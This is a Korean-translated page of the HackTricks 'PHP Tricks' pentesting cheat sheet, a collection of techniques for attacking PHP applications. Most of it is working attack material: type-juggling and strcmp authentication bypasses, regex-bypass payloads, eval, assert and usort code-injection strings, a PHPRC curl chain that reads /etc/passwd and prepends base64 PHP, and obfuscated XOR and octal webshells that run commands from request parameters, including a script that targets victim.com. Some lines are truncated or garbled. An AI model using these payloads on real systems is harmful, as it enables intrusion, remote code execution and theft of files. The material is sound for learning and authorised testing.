PHP Tricks

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

쿠키 공통 위치:

이것은 phpMyAdmin 쿠키에도 적용됩니다.

쿠키:

PHPSESSID
phpMyAdmin

위치:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP 비교 우회

느슨한 비교/타입 강제 변환 ( == )

만약 PHP에서 ==가 사용된다면, 예상치 못한 경우가 발생하여 비교가 예상대로 작동하지 않을 수 있습니다. 이는 "=="가 값들을 동일한 유형으로 변환한 후에만 비교하기 때문입니다. 만약 비교된 데이터의 유형도 동일한지 비교하려면 ===를 사용해야 합니다.

PHP 비교 표: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 숫자로 시작하지 않는 문자열은 숫자와 동일합니다.

  • "0xAAAA" == "43690" -> True 10진 또는 16진 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교할 수 있으며, 숫자가 동일한 경우 True가 됩니다 (문자열 내의 숫자는 숫자로 해석됨).

  • "0e3264578" == 0 --> True "0e"로 시작하고 뒤에 아무 것이나 오는 문자열은 0과 동일합니다.

  • "0X3264578" == 0X --> True "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 것이나 오는 문자열은 0과 동일합니다.

  • "0e12334" == "0" --> True 이는 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이 형식의 이미 해싱된 문자열을 여기에서 찾을 수 있습니다: https://github.com/spaze/hashes

  • "X" == 0 --> True 문자열 내의 모든 문자는 정수 0과 동일합니다.

더 많은 정보: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

타입 강제 변환은 기본적으로 in_array() 함수에도 영향을 미칩니다 (엄격한 비교를 수행하려면 세 번째 인수를 true로 설정해야 함):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

만약 이 함수가 인증 확인 (예: 비밀번호 확인)에 사용된다면, 사용자가 비교의 한 쪽을 제어할 수 있다면, 비밀번호 값으로 문자열 대신 빈 배열을 보낼 수 있으며 (https://example.com/login.php/?username=admin&password[]=), 이 확인을 우회할 수 있습니다:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

strcasecmp()에서도 동일한 오류가 발생합니다

엄격한 유형 변환

===를 사용하더라도 유형 변환에 취약한 비교가 발생할 수 있습니다. 예를 들어, 비교가 데이터를 다른 유형의 객체로 변환한 후에 비교하는 경우:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

**preg_match()**는 사용자 입력을 유효성 검사하는 데 사용될 수 있습니다 (입력된 사용자 입력에서 블랙리스트에 있는 단어/정규식존재하는지 확인하고, 그렇지 않으면 코드가 실행을 계속할 수 있습니다).

새 줄 바이패스

그러나 정규식의 시작을 구분할 때 preg_match()사용자 입력의 첫 번째 줄만 확인하므로, 입력을 여러 줄로 보낼 수 있다면, 이 검사를 우회할 수 있습니다. 예시:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

이 체크를 우회하려면 새 줄로 인코딩된 값(%0A)을 보낼 수 있거나 JSON 데이터를 보낼 수 있습니다. 여러 줄에 걸쳐 보내세요:

{
"cmd": "cat /etc/passwd"
}

예제를 찾을 수 있습니다: https://ramadistra.dev/fbctf-2019-rceservice

길이 오류 우회

(이 우회 방법은 PHP 5.2.5에서 시도되었으며 PHP 7.3.15에서 작동하지 않았습니다) preg_match()에 유효한 매우 큰 입력을 보낼 수 있다면, 그것을 처리할 수 없게 만들어 우회할 수 있습니다. 예를 들어, JSON을 블랙리스트하는 경우 다음과 같이 보낼 수 있습니다:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS 우회

요령 출처: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223https://mizu.re/post/pong

간단히 말해서 문제는 PHP의 preg_* 함수가 PCRE 라이브러리를 기반으로 구축되기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 재귀 호출 횟수에 제한을 둘 수 있지만 PHP에서는 이 한도가 기본적으로 100,000으로 설정되어 있어 스택에 맞지 않습니다.

이 문제에 대해 더 자세히 설명된 이 Stackoverflow 쓰레드도 게시물에 링크되어 있습니다. 이제 우리의 작업은 명확해졌습니다: 정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 발생시키고 preg_match() 함수가 false를 반환하도록 만들어 응용 프로그램이 우리의 입력이 악의적이지 않다고 생각하게 하고, 페이로드 끝에 {system(<verybadcommand>)}과 같은 놀라운 것을 던져 SSTI --> RCE --> 플래그를 획들하기 위함이었습니다 :).

실제로 정규식 관점에서는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 PHP 문서에서 언급하듯이 pcre.backtrack_limit 변수에서 기본적으로 1,000,000(1백만)으로 설정됩니다. 이를 달성하기 위해 'X'*500_001은 100만 개의 백트래킹 단계(50만 개의 순방향 및 50만 개의 역방향)를 결과로 낳을 것입니다:

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP 난독화를 위한 타입 캐스팅

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

리다이렉트 후 실행 (EAR)

만약 PHP가 다른 페이지로 리다이렉트하지만 die 또는 exit 함수가 Location 헤더를 설정한 후에 호출되지 않는다면, PHP는 계속 실행되고 데이터를 본문에 추가합니다:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

경로 이동 및 파일 포함 취약점 악용

확인:

pageFile Inclusion/Path traversal

더 많은 속임수

  • register_globals: PHP < 4.1.1.1 또는 잘못 구성된 경우 register_globals가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $_GET과 같은 변수에 값이 있는 경우에, 예를 들어 $_GET["param"]="1234"와 같이 값이 있는 경우 $param를 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.

  • 같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장되므로, 도메인 내에서 다른 경로에서 다른 쿠키가 사용되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 두 경로가 동일한 이름의 변수에 액세스하는 경우 해당 변수의 값을 path1에서 path2로 적용할 수 있습니다. 그런 다음 path2는 path1의 변수를 유효하게 취급할 것입니다 (쿠키를 path2에서 해당하는 이름으로 지정함으로써).

  • 기계 사용자의 사용자 이름을 가지고 있는 경우. 주소를 확인하십시오: /~<USERNAME> PHP 디렉토리가 활성화되어 있는지 확인하십시오.

password_hash/password_verify

이 함수들은 일반적으로 PHP에서 비밀번호로부터 해시를 생성하고 해시와 비교하여 비밀번호가 올바른지 확인하는 데 사용됩니다. 지원되는 알고리즘은 다음과 같습니다: PASSWORD_DEFAULTPASSWORD_BCRYPT ($2y$로 시작). PASSWORD_DEFAULT가 자주 PASSWORD_BCRYPT와 동일할 수 있음에 유의하십시오. 현재 PASSWORD_BCRYPT72바이트의 입력에 대한 크기 제한이 있습니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해싱하려고 할 때는 처음 72바이트만 사용됩니다:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP 헤더 우회를 통한 PHP 오류 남용

만약 PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 에코하는 경우, 사용자는 PHP 서버가 일부 충분히 긴 콘텐츠를 출력하도록 만들어 서버가 응답에 헤더를 추가하려고 시도할 때 오류가 발생하도록 할 수 있습니다. 다음 시나리오에서 공격자는 서버가 큰 오류를 발생하도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 헤더 정보를 수정하려고 시도할 때 (예: CSP 헤더가 사용자에게 전송되지 않음):

코드 실행

system("ls"); `ls`; shell_exec("ls");

더 많은 유용한 PHP 함수는 여기를 확인하세요

**preg_replace()**를 통한 RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

"replace" 인수에서 코드를 실행하려면 적어도 하나의 일치가 필요합니다. 이 preg_replace 옵션은 PHP 5.5.0부터 사용이 중단되었습니다.

Eval()을 통한 RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert()를 통한 RCE

php 내의 이 함수는 문자열로 작성된 코드를 실행하여 true 또는 false를 반환하도록 합니다 (이에 따라 실행을 변경). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어: assert("strpos($_GET['page']),'..') === false") --> 이 경우 RCE를 얻으려면 다음을 수행할 수 있습니다:

?page=a','NeVeR') === false and system('ls') and strpos('a

usort()를 통한 RCE

이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다. 이 함수를 악용하려면:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

**코드의 나머지를 주석 처리하는 데에도 **//**를 사용할 수 있습니다.

닫아야 하는 괄호의 수를 발견하려면:

  • ?order=id;}//: 오류 메시지를 받습니다 (Parse error: syntax error, unexpected ';'). 아마도 하나 이상의 괄호가 누락된 것 같습니다.

  • ?order=id);}//: 경고를 받습니다. 그것이 올바른 것 같습니다.

  • ?order=id));}//: 오류 메시지를 받습니다 (Parse error: syntax error, unexpected ')' i). 아마도 닫는 괄호가 너무 많은 것 같습니다.

.httaccess를 통한 RCE

만약 .htaccess업로드할 수 있다면, 여러 가지를 구성하고 코드를 실행할 수 있습니다 (확장자가 .htaccess인 파일이 실행될 수 있도록 구성).

다양한 .htaccess 쉘은 여기에서 찾을 수 있습니다.

Env 변수를 통한 RCE

PHP에서 env 변수를 수정할 수 있는 취약점을 발견하면 (또 다른 파일을 업로드할 수 있는 취약점이 있어야 하지만, 더 많은 연구를 통해 이를 우회할 수 있을 수도 있음), 이 동작을 악용하여 RCE를 얻을 수 있습니다.

  • LD_PRELOAD: 이 env 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있도록 합니다 (이 경우에는 작동하지 않을 수도 있음).

  • PHPRC : PHP에게 구성 파일인 php.ini라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, PHPRC를 사용하여 PHP를 가리키도록 할 수 있습니다. 두 번째 업로드한 파일을 지정하는 auto_prepend_file 항목을 추가합니다. 이 두 번째 파일에는 일반 PHP 코드가 포함되어 있으며, 이 코드는 다른 모든 코드보다 먼저 PHP 런타임에 의해 실행됩니다.

  1. 쉘코드가 포함된 PHP 파일을 업로드합니다.

  2. PHP 전처리기에 업로드한 파일을 실행하도록 지시하는 auto_prepend_file 지시문이 포함된 두 번째 파일을 업로드합니다.

  3. PHPRC 변수를 2단계에서 업로드한 파일로 설정합니다.

  • 이 체인을 실행하는 방법에 대한 자세한 정보는 원본 보고서에서 확인할 수 있습니다.

  • PHPRC - 다른 옵션

  • 파일을 업로드할 수 없는 경우 FreeBSD에서 "파일" /dev/fd/0을 사용할 수 있습니다. 이 파일은 **stdin**을 포함하고 있으며, 요청의 본문stdin으로 전송됩니다:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • 또는 **allow_url_include**를 활성화하고 base64 PHP 코드가 포함된 파일을 선행시켜 RCE를 얻을 수 있습니다:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

  • 이 기술은 이 보고서에서 확인할 수 있습니다.

PHP 정적 분석

이 함수들을 호출하는 코드에 코드를 삽입할 수 있는지 확인하십시오 (여기에서).

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

만약 PHP 애플리케이션을 디버깅하고 있다면 /etc/php5/apache2/php.inidisplay_errors = On을 추가하여 오류 출력을 전역으로 활성화할 수 있으며 아파치를 재시작해야 합니다: sudo systemctl restart apache2

PHP 코드의 해독

www.unphp.net 을 사용하여 PHP 코드를 해독할 수 있습니다.

PHP 래퍼 및 프로토콜

PHP 래퍼와 프로토콜을 사용하면 시스템에서 쓰기 및 읽기 보호를 우회하고 침해할 수 있습니다. 자세한 정보는 이 페이지를 확인하세요.

Xdebug 미인증 RCE

phpconfig() 출력에서 Xdebug활성화되어 있는 것을 확인하면 https://github.com/nqxcode/xdebug-exploit를 통해 RCE를 시도해야 합니다.

변수 변수

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

새로운 $_GET["a"]($_GET["b"])를 악용한 RCE

페이지에서 임의의 클래스의 새 객체를 생성할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세한 내용을 알아보세요:

pagePHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

문자 없이 PHP 실행하기

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

8진수 사용

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR은 두 개의 값을 비교하는 데 사용되는 비트 연산자입니다. XOR 연산은 입력 값이 서로 다를 때만 참(true)을 반환합니다.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR 쉘 코드 간단한 방법

이 writeup에 따르면 다음과 같이 간단한 쉘 코드를 생성할 수 있다.

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

그래서, 숫자와 문자 없이 임의의 PHP를 실행할 수 있다면 다음과 같은 요청을 보내어 임의의 PHP를 실행할 수 있는 페이로드를 남용할 수 있습니다:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

더 자세한 설명은 https://ctf-wiki.org/web/php/php/#preg_match를 확인하십시오.

XOR 셸코드 (eval 내부)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl과 유사

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
영웨이 에이더블유에스 해킹을 제로부터 히어로로 배우세요 htARTE (HackTricks AWS Red Team Expert)!

다른 방법으로 HackTricks를 지원하는 방법:

Last updated